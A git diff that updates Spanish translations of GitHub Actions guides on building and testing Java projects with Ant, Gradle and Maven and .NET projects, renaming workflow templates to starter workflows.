-{% data variables.product.prodname_dotcom %} provides an Ant workflow template that will work for most Ant-based Java projects. For more information, see the [Ant workflow template](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
+{% data variables.product.prodname_dotcom %} provides an Ant starter workflow that will work for most Ant-based Java projects. For more information, see the [Ant starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
 
-To get started quickly, you can choose the preconfigured Ant template when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Ant starter workflow when you create a new workflow. Para obtener más información, consulta la "[guía rápida de {% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+También puedes agregar este flujo de trabajo de forma manual al crear un archivo nuevo en el directorio de tu repositorio `.github/workflows`.
 
 {% raw %}
 ```yaml{:copy}
@@ -70,25 +70,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+Este flujo de trabajo realiza los siguientes pasos:
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Ant" step runs the default target in your `build.xml` in non-interactive mode.
+1. El paso `checkout (comprobación)` descarga una copia de tu repositorio en el ejecutor.
+2. El paso `setup-java` configura el JDK de Java 11 por Adoptium.
+3. El paso "Build with Ant" (Construir con Ant) ejecuta el objetivo predeterminado en tu `build.xml` en el modo no interactivo.
 
-The default workflow templates are excellent starting points when creating your build and test workflow, and you can customize the template to suit your project’s needs.
+The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## Construir y probar tu código
 
-You can use the same commands that you use locally to build and test your code.
+Puedes usar los mismos comandos que usas de forma local para construir y probar tu código.
 
-The starter workflow will run the default target specified in your _build.xml_ file.  Your default target will commonly be set to build classes, run tests and package classes into their distributable format, for example, a JAR file.
+El flujo de trabajo de inicio ejecutará el destino predeterminado especificado en tu archivo _build.xml_.  Normalmente, tu objetivo predeterminado se configurará para crear clases, ejecutar pruebas y empaquetar clases en su formato distribuible, por ejemplo, un archivo JAR.
 
-If you use different commands to build your project, or you want to run a different target, you can specify those. For example, you may want to run the `jar` target that's configured in your _build-ci.xml_ file.
+Si usas diferentes comandos para construir tu proyecto, o si deseas ejecutar un objetivo diferente, puedes especificarlos. Por ejemplo, es posible que desees ejecutar el destino `jar` que está configurado en tu archivo _build-ci.xml_.
 
 {% raw %}
 ```yaml{:copy}
@@ -103,11 +103,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## Empaquetar datos de flujo de trabajo como artefactos
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Una vez que tu compilación haya tenido éxito y tus pruebas hayan pasado, es posible que desees cargar los paquetes Java resultantes como un artefacto de construcción. Esto almacenará los paquetes construidos como parte de la ejecución del flujo de trabajo y te permitirá descargarlos. Los artefactos pueden ayudarte a probar y depurar solicitudes de extracción en tu entorno local antes de que se fusionen. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
 
-Ant will usually create output files like JARs, EARs, or WARs in the `build/jar` directory. You can upload the contents of that directory using the `upload-artifact` action.
+Por lo general, Ant crea archivos de salida como JAR, EAR o WAR en el directorio `build/jar`. Puedes cargar los contenidos de ese directorio utilizando la acción `upload-Artifact`.
 
 {% raw %}
 ```yaml{:copy}
@@ -117,7 +117,7 @@ steps:
     with:
       java-version: '11'
       distribution: 'adopt'
-  
+
   - run: ant -noinput -buildfile build.xml
   - uses: actions/upload-artifact@v2
     with:
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
index 74fb4ffb74..3898f4b3fb 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Gradle
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Gradle.
+title: Construir y probar Java con Gradle
+intro: Puedes crear un flujo de trabajo de integración continua (CI) en acciones de GitHub para construir y probar tu proyecto Java con Gradle.
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-gradle
   - /actions/guides/building-and-testing-java-with-gradle
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Gradle
-shortTitle: Build & test Java & Gradle
+shortTitle: Crear & probar con Java & Gradle
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Gradle build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+Esta guía te muestra cómo crear un flujo de trabajo que realiza la integración continua (CI) para tu proyecto Java usando el sistema de construcción Gradle. El flujo de trabajo que creas te permitirá ver cuándo las confirmaciones de una solicitud de extracción causan la construcción o las fallas de prueba en tu rama por defecto; este enfoque puede ayudar a garantizar que tu código siempre sea correcto. Puedes extender tu flujo de trabajo de CI para almacenar en caché los archivos y cargar artefactos desde una ejecución de flujo de trabajo.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Gradle. For a list of software and the pre-installed versions for JDK and Gradle, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Los ejecutores alojados {% data variables.product.prodname_dotcom %} tienen una caché de herramientas con software preinstalado, que incluye kits de desarrollo de Java (JDK) y Gradle. Para encontrar una lista de software y de las versiones pre-instaladas de JDK y de Gradle, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+Deberías estar familiarizado con YAML y la sintaxis para las {% data variables.product.prodname_actions %}. Para obtener más información, consulta:
+- "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Gradle framework. For more information, see [Getting Started](https://docs.gradle.org/current/userguide/getting_started.html) in the Gradle documentation.
+Te recomendamos que tengas una comprensión básica de Java y del marco de Gradle. Para obtener más información, consulta [Empezar](https://docs.gradle.org/current/userguide/getting_started.html) en la documentación de Gradle.
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with a Gradle workflow template
+## Using the Gradle starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Gradle workflow template that will work for most Gradle-based Java projects. For more information, see the [Gradle workflow template](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
+{% data variables.product.prodname_dotcom %} provides a Gradle starter workflow that will work for most Gradle-based Java projects. For more information, see the [Gradle starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
 
-To get started quickly, you can choose the preconfigured Gradle template when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Gradle starter workflow when you create a new workflow. Para obtener más información, consulta la "[guía rápida de {% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+También puedes agregar este flujo de trabajo de forma manual al crear un archivo nuevo en el directorio de tu repositorio `.github/workflows`.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -72,26 +72,26 @@ jobs:
         run: ./gradlew build
 ```
 
-This workflow performs the following steps:
+Este flujo de trabajo realiza los siguientes pasos:
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Validate Gradle wrapper" step validates the checksums of Gradle Wrapper JAR files present in the source tree.
-4. The "Build with Gradle" step runs the `gradlew` wrapper script to ensure that your code builds, tests pass, and a package can be created.
+1. El paso `checkout (comprobación)` descarga una copia de tu repositorio en el ejecutor.
+2. El paso `setup-java` configura el JDK de Java 11 por Adoptium.
+3. El paso de "Validar el wrapper de Gradle" valida la sumas de verificaciones de los archivos JAR del wrapper de Gradle que estén presentes en el árbol fuente.
+4. El paso "Build with Gradle" (construir con Gradle) ejecuta el script contenedor `gradlew` para asegurar que tu código se cree, las pruebas pasen y se pueda crear un paquete.
 
-The default workflow templates are excellent starting points when creating your build and test workflow, and you can customize the template to suit your project’s needs.
+The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## Construir y probar tu código
 
-You can use the same commands that you use locally to build and test your code.
+Puedes usar los mismos comandos que usas de forma local para construir y probar tu código.
 
-The starter workflow will run the `build` task by default. In the default Gradle configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+El flujo de trabajo de inicio ejecutará la tarea `build` por defecto. En la configuración de Gradle predeterminada, este comando descargará las dependencias, construirá clases, ejecutará pruebas y empaquetará las clases en su formato distribuible, por ejemplo, un archivo JAR.
 
-If you use different commands to build your project, or you want to use a different task, you can specify those. For example, you may want to run the `package` task that's configured in your _ci.gradle_ file.
+Si usas diferentes comandos para construir tu proyecto, o si quieres usar una tarea diferente, puedes especificarlo. Por ejemplo, es posible que desees ejecutar la tarea `package` que está configurada en tu archivo _ci.gradle_.
 
 {% raw %}
 ```yaml{:copy}
@@ -108,9 +108,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## Almacenar dependencias en caché
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Gradle package cache will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote package repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+Cuando utilizas ejecutores hospedados en {% data variables.product.prodname_dotcom %}, puedes guardar tus dependencias en el caché para acelerar tus ejecuciones de flujo de trabajo. Después de una ejecución exitosa, tu caché de paquete de Gradle local se almacenará en la infraestructura de acciones de GitHub. En las ejecuciones de flujo de trabajo futuras, la caché se restaurará para que las dependencias no necesiten ser descargadas desde los repositorios de paquetes remotos. Puedes guardar las dependencias en caché utilizando simplemente la [acción `setup-java`](https://github.com/marketplace/actions/setup-java-jdk) o puedes utilizar la [Acción `cache`](https://github.com/actions/cache) para tener una configuración personalizada y más avanzada.
 
 {% raw %}
 ```yaml{:copy}
@@ -135,13 +135,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Gradle package cache, located in the `.gradle/caches` and `.gradle/wrapper` directories of the runner's home directory. The cache key will be the hashed contents of the gradle build files (including the Gradle wrapper properties file), so any changes to them will invalidate the cache.
+Este flujo de trabajo guardará el contenido del caché de tu paquete local de Gradle, el cual se ubica en los directorios `.gradle/caches` y `.gradle/wrapper` dek directorio de inicio del ejecutor. La clave del caché será el contenido cifrado de los archivos de compilación de gradle (incluyendo las propiedades del archivo de envoltorio (wrapper)), así que cualquier cambio que se realice sobre ellos invalidará el caché.
 
-## Packaging workflow data as artifacts
+## Empaquetar datos de flujo de trabajo como artefactos
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Una vez que tu compilación haya tenido éxito y tus pruebas hayan pasado, es posible que desees cargar los paquetes Java resultantes como un artefacto de construcción. Esto almacenará los paquetes construidos como parte de la ejecución del flujo de trabajo y te permitirá descargarlos. Los artefactos pueden ayudarte a probar y depurar solicitudes de extracción en tu entorno local antes de que se fusionen. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
 
-Gradle will usually create output files like JARs, EARs, or WARs in the `build/libs` directory. You can upload the contents of that directory using the `upload-artifact` action.
+Por lo general, Gradle creará archivos de salida como JAR, EAR o WAR en el directorio `build/libs`. Puedes cargar los contenidos de ese directorio utilizando la acción `upload-Artifact`.
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
index a8403ce752..100c5993f3 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Maven
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Maven.
+title: Construir y probar Java con Maven
+intro: Puedes crear un flujo de trabajo de integración continua (CI) en acciones de GitHub para construir y probar tu proyecto Java con Maven.
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-maven
   - /actions/guides/building-and-testing-java-with-maven
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Maven
-shortTitle: Build & test Java with Maven
+shortTitle: Crear & probar en Java con Maven
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Maven software project management tool. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+Esta guía te muestra cómo crear un flujo de trabajo que realiza la integración continua (CI) para tu proyecto Java utilizando la herramienta de gestión de proyectos de software Maven. El flujo de trabajo que creas te permitirá ver cuándo las confirmaciones de una solicitud de extracción causan la construcción o las fallas de prueba en tu rama por defecto; este enfoque puede ayudar a garantizar que tu código siempre sea correcto. Puedes extender tu flujo de trabajo de CI para almacenar en caché los archivos y cargar artefactos desde una ejecución de flujo de trabajo.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Maven. For a list of software and the pre-installed versions for JDK and Maven, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Los ejecutores alojados en {% data variables.product.prodname_dotcom %} tienen una caché de herramientas con un software preinstalado, que incluye kits de desarrollo de Java (JDK) y Maven. Para encontrar una lista de software y de las versiones pre-instaladas de JDK y de Maven, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+Deberías estar familiarizado con YAML y la sintaxis para las {% data variables.product.prodname_actions %}. Para obtener más información, consulta:
+- "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Maven framework. For more information, see the [Maven Getting Started Guide](http://maven.apache.org/guides/getting-started/index.html) in the Maven documentation.
+Te recomendamos que tengas una comprensión básica de Java y del marco de Maven. Para obtener más información, consulta el [Guía de introducción a Maven](http://maven.apache.org/guides/getting-started/index.html) en la documentación de Maven.
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with a Maven workflow template
+## Using the Maven starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Maven workflow template that will work for most Maven-based Java projects. For more information, see the [Maven workflow template](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
+{% data variables.product.prodname_dotcom %} provides a Maven starter workflow that will work for most Maven-based Java projects. For more information, see the [Maven starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
 
-To get started quickly, you can choose the preconfigured Maven template when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Maven starter workflow when you create a new workflow. Para obtener más información, consulta la "[guía rápida de {% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+También puedes agregar este flujo de trabajo de forma manual al crear un archivo nuevo en el directorio de tu repositorio `.github/workflows`.
 
 {% raw %}
 ```yaml{:copy}
@@ -70,25 +70,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+Este flujo de trabajo realiza los siguientes pasos:
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Maven" step runs the Maven `package` target in non-interactive mode to ensure that your code builds, tests pass, and a package can be created.
+1. El paso `checkout (comprobación)` descarga una copia de tu repositorio en el ejecutor.
+2. El paso `setup-java` configura el JDK de Java 11 por Adoptium.
+3. El paso "Build with Maven" (Construir con Maven) ejecuta el `paquete` destino de Maven en modo no interactivo para garantizar que tu código se compile, se superen las pruebas y se pueda crear un paquete.
 
-The default workflow templates are excellent starting points when creating your build and test workflow, and you can customize the template to suit your project’s needs.
+The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## Construir y probar tu código
 
-You can use the same commands that you use locally to build and test your code.
+Puedes usar los mismos comandos que usas de forma local para construir y probar tu código.
 
-The starter workflow will run the `package` target by default. In the default Maven configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+El flujo de trabajo de inicio ejecutará el `paquete` destino por defecto. En la configuración predeterminada de Maven, este comando descargará dependencias, construirá clases, ejecutar pruebas y las clases de paquetes en su formato distribuible, por ejemplo, un archivo JAR.
 
-If you use different commands to build your project, or you want to use a different target, you can specify those. For example, you may want to run the `verify` target that's configured in a _pom-ci.xml_ file.
+Si usas diferentes comandos para compilar tu proyecto, o si quieres usar un destino diferente, puedes especificarlos. Por ejemplo, es posible que desees ejecutar el objetivo `verify (verificar)` que está configurado en un archivo _pom-ci.xml_.
 
 {% raw %}
 ```yaml{:copy}
@@ -103,9 +103,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## Almacenar dependencias en caché
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Maven repository will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote Maven repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+Cuando utilizas ejecutores hospedados en {% data variables.product.prodname_dotcom %}, puedes guardar tus dependencias en el caché para acelerar tus ejecuciones de flujo de trabajo. Después de una ejecución exitosa, tu repositorio Maven local se almacenará en la infraestructura de acciones de GitHub. En las ejecuciones de flujo de trabajo futuras, el caché se restaurará para que las dependencias no necesiten descargarse desde los repositorios remotos de Maven. Puedes guardar las dependencias en caché utilizando simplemente la [acción `setup-java`](https://github.com/marketplace/actions/setup-java-jdk) o puedes utilizar la [Acción `cache`](https://github.com/actions/cache) para tener una configuración personalizada y más avanzada.
 
 {% raw %}
 ```yaml{:copy}
@@ -122,13 +122,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Maven repository, located in the `.m2` directory of the runner's home directory. The cache key will be the hashed contents of _pom.xml_, so changes to _pom.xml_ will invalidate the cache.
+Este flujo de trabajo guardará los contenidos de tu repositorio local de Maven, ubicado en el directorio `.m2` del directorio de inicio del ejecutor. La clave de caché será el contenido con hash de _pom.xml_, por lo que los cambios en _pom.xml_ invalidará el caché.
 
-## Packaging workflow data as artifacts
+## Empaquetar datos de flujo de trabajo como artefactos
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Una vez que tu compilación haya tenido éxito y tus pruebas hayan pasado, es posible que desees cargar los paquetes Java resultantes como un artefacto de construcción. Esto almacenará los paquetes construidos como parte de la ejecución del flujo de trabajo y te permitirá descargarlos. Los artefactos pueden ayudarte a probar y depurar solicitudes de extracción en tu entorno local antes de que se fusionen. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
 
-Maven will usually create output files like JARs, EARs, or WARs in the `target` directory. To upload those as artifacts, you can copy them into a new directory that contains artifacts to upload. For example, you can create a directory called `staging`. Then you can upload the contents of that directory using the `upload-artifact` action.
+Por lo general, Maven creará archivos de salida como tarros, orejas o guerras en el `Objetivo` Directorio. Para cargarlos como artefactos, puedes copiarlos en un nuevo directorio que contenga artefactos para cargar. Por ejemplo, puedes crear un directorio llamado `staging` (preparación). Luego puedes cargar los contenidos de ese directorio usando la acción `upload-artifact (cargar artefacto)`.
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-net.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-net.md
index ba114a3e74..8c5fc5d195 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-net.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-net.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing .NET
-intro: You can create a continuous integration (CI) workflow to build and test your .NET project.
+title: Compilar y probar desarrollos en .NET
+intro: Puedes crear un flujo de trabajo de integración continua (IC) para compilar y probar tu proyecto de .NET.
 redirect_from:
   - /actions/guides/building-and-testing-net
 versions:
@@ -8,31 +8,31 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Build & test .NET
+shortTitle: Crear & probar en .NET
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to build, test, and publish a .NET package.
+Esta guía te muestra cómo construir, probar y publicar un paquete de .NET.
 
-{% ifversion ghae %} To build and test your .NET project on {% data variables.product.prodname_ghe_managed %}, the .NET Core SDK is required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the .NET Core SDK. For a full list of up-to-date software and the preinstalled versions of .NET Core SDK, see [software installed on {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners).
+{% ifversion ghae %} Para compilar y probar tu proyecto de .NET en {% data variables.product.prodname_ghe_managed %}, se requiere el SDK de .NET Core. {% data reusables.actions.self-hosted-runners-software %}
+{% else %}Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} tienen un caché de herramientas con software preinstalado, el cual incluye a .NET Core SDK. Para encontrar una lista completa de software actualizado y las versiones preinstaladas de .NET Core SDK, consulta la sección de [software instalado en los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners).
 {% endif %}
 
-## Prerequisites
+## Prerrequisitos
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+Ya debes estar familiarizado con la sintaxis de YAML y con cómo se utiliza con {% data variables.product.prodname_actions %}. Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
 
-We recommend that you have a basic understanding of the .NET Core SDK. For more information, see [Getting started with .NET](https://dotnet.microsoft.com/learn).
+Te recomendamos que tengas un entendimiento básico de .NET Core SDK. Para obtener más información, consulta la sección [Iniciar con .NET](https://dotnet.microsoft.com/learn).
 
-## Starting with the .NET workflow template
+## Using the .NET starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a .NET workflow template that should work for most .NET projects, and this guide includes examples that show you how to customize this template. For more information, see the [.NET workflow template](https://github.com/actions/setup-dotnet).
+{% data variables.product.prodname_dotcom %} provides a .NET starter workflow that should work for most .NET projects, and this guide includes examples that show you how to customize this starter workflow. For more information, see the [.NET starter workflow](https://github.com/actions/setup-dotnet).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
 
 {% raw %}
 ```yaml
@@ -63,13 +63,13 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## Especificar una versión de .NET
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
+Para utilizar una versión preinstalada de .NET Core SDK en un ejecutor hospedado en {% data variables.product.prodname_dotcom %}, utiliza la acción `setup-dotnet`. Esta acción encuentra una versión específica de .NET desde el caché de las herramientas en cada ejecutor y agrega los binarios necesarios a `PATH`. Estos cambios persistirán para el recordatorio del job.
 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+La acción `setup-dotnet` es la forma recomendada de utilizar .NET con las {% data variables.product.prodname_actions %}, porque garantiza el comportamiento consistente a través de diversos ejecutores y diversas versiones de .NET. Si estás utilizando un ejecutor auto-hospedado, debes instalar .NET y agregarlo a `PATH`. Para obtener más información, consulta la acción [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk).
 
-### Using multiple .NET versions
+### Utilizar versiones múltiples de .NET
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ jobs:
 ```
 {% endraw %}
 
-### Using a specific .NET version
+### Utilizar una versión específica de .NET
 
-You can configure your job to use a specific version of .NET, such as `3.1.3`. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of .NET 3.
+Puedes configurar tu job para que utilice una versión específica de .NET, tal como la `3.1.3`. Como alternativa, puedes utilizar una sintaxis de versión semántica para obtener el último lanzamiento menor. Este ejemplo utiliza el lanzamiento menor más reciente de .NET 3.
 
 {% raw %}
 ```yaml
@@ -111,9 +111,9 @@ You can configure your job to use a specific version of .NET, such as `3.1.3`. A
 ```
 {% endraw %}
 
-## Installing dependencies
+## Instalar dependencias
 
-{% data variables.product.prodname_dotcom %}-hosted runners have the NuGet package manager installed. You can use the dotnet CLI to install dependencies from the NuGet package registry before building and testing your code. For example, the YAML below installs the `Newtonsoft` package.
+Los ejecutores hospedados en {% data variables.product.prodname_dotcom %} cuentan con el administrador de paquetes NuGet ya instalado. Puedes utilizar el CLI de dotnet para instalar dependencias desde el registro de paquetes de NuGet antes de compilar y probar tu código. Por ejemplo, el siguiente YAML instala el paquete `Newtonsoft`.
 
 {% raw %}
 ```yaml
@@ -130,11 +130,11 @@ steps:
 
 {% ifversion fpt or ghec %}
 
-### Caching dependencies
+### Almacenar dependencias en caché
 
-You can cache NuGet dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For example, the YAML below installs the `Newtonsoft` package.
+Puedes guardar dependencias de NuGet en el caché utilizando una clave única, lo cual te permite restablecer las dependencias de los flujos de trabajo futures con la acción [`cache`](https://github.com/marketplace/actions/cache). Por ejemplo, el siguiente YAML instala el paquete `Newtonsoft`.
 
-For more information, see "[Caching dependencies to speed up workflows](/actions/guides/caching-dependencies-to-speed-up-workflows)."
